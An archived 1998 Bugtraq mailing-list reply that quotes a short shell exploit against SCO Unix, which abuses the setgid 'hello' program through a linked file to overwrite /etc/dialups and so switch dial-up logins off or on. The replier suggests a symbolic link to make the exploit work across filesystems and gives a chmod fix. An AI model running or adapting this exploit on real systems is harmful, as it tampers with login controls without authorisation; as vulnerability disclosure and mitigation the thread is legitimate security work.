Bugtraq mailing list archives

Re: Fw: Exploit for SCO.


From: john () KUWAIT NET (John W. Temples)
Date: Fri, 11 Sep 1998 16:20:48 -0700


On Thu, 10 Sep 1998, Leshka wrote:

tty=`tty`;ttyfile=`pwd`/`basename $tty`
echo "Press any letter key 240 times (3 lines of text) then <CTRL>-D to
disable"
echo "login or just type <CTRL>-D to login enable. Sorry for the manual
work."
ln /etc/dialups $ttyfile;hello leshka ..$ttyfile;rm -f $ttyfile

The exploit fails if your CWD is not in the same file system as /etc.
Using a symbolic rather than a hard link fixes that.

The exploit can be defeated with:

# chmod g-s /bin/hello

--
John W. Temples, III       ||       Providing the first public access Internet
Gulfnet Kuwait             ||            site in the Arabian Gulf region



Current thread: